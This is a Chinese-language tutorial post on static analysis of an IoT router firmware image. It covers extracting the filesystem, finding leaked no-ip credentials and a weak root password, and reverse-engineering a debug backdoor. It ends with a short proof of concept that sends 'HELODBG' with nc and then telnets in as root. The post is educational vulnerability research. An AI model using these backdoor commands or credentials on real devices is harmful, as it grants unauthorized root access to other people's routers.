物聯網IoT安全教程(二)-- 靜態分析IoT固件

PS:本文所用到的程序見 – https://github.com/G4rb3n/IoT_Sec_Tutorial

得到固件後,若直接打開,會發現該固件被加了密,無法直接解壓縮,這是廠商對該固件做了保護,防止大家逆向分析他的固件。
1

通過frackzip工具可以破解該zip的密碼,時間要挺久的,我直接告訴你吧,密碼是beUT9Z。
2

解壓後發現文件夾中有多個.yaffs2後綴的文件,這些都是固件的文件。
3

yaffs2裏有幾個看上去是recovery的鏡像,核心的應該是2K-mdm-image-mdm9625.yaffs2 ,我們下面就來提取該文件,我首先用binwalk來提取它,但提取出來的文件亂七八糟,不知道什麼原因,後來看網上推薦直接用yaffs的原生工具unyaffs提取,就可以了,文件系統清晰明瞭。

unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/

4

接下來我們查找該路徑下的所有.conf文件,.conf文件多是配置文件,有可能從中可以發現敏感的信息。

find . -name '*.conf'

5

其中的inadyn-mt.conf文件引起了我們注意,這是no-ip應用的配置文件,no-ip就是一個相當於花生殼的東西,可以申請動態域名。我們從中可以發現泄露的no-ip的登陸賬號及密碼。

cat etc/inadyn-mt.conf

6

除了上述泄露的no-ip賬號密碼,我們還從shadow文件中找到了root賬號的密碼,通過爆破可以得到root的密碼爲1234。

cat ~/yaffs2-root/etc/shadow

7

其實並不止有.conf文件會泄露信息,還有很多其他後綴的敏感文件會泄露信息,我們接下來使用firmwalker工具來自動化遍歷該固件系統中的所有可疑文件。

git clone https://github.com/craigz28/firmwalker.git

8

命令如下,firmwalker會將結果保存到firmwalker.txt。

./firmwalker.sh ~/yaffs2-root/

9

看了下該工具的源碼,沒啥亮點,就是遍歷各種後綴的文件。
10

後綴都在data文件夾中的各個配置文件中。
11

分析完敏感的配置文件後,我們接下來分析存在風險的二進制程序。查看自啓動的程序,一個start_appmgr腳本引起了我們注意,mgr一般就是主控程序的意思。
12

該腳本會在開機的時候以服務的形式運行/bin.appmgr程序。
13

通過IDA進行反編譯,在main函數中發現了一個管理員當時爲了方便調試留下的後門,只要連接該固件的39889端口併發送HELODBG的字符串,就可以進行遠程執行命令。
14

POC如下:

user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 
Hello 
^C 
user@kali:~$ telnet 192.168.1.1 
Trying 192.168.1.1... 
Connected to 192.168.1.1. Escape character is '^]'.   
OpenEmbedded Linux homerouter.cpe     
msm 20141210 homerouter.cpe   
/ # 
id uid=0(root) gid=0(root) 
/ # 
exit 
Connection closed by foreign host. 
user@kali:~$

除了以上這些,該固件還存在多個漏洞,詳細的報告請看這~

https://www.anquanke.com/post/id/84671
發佈了55 篇原創文章 · 獲贊 53 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章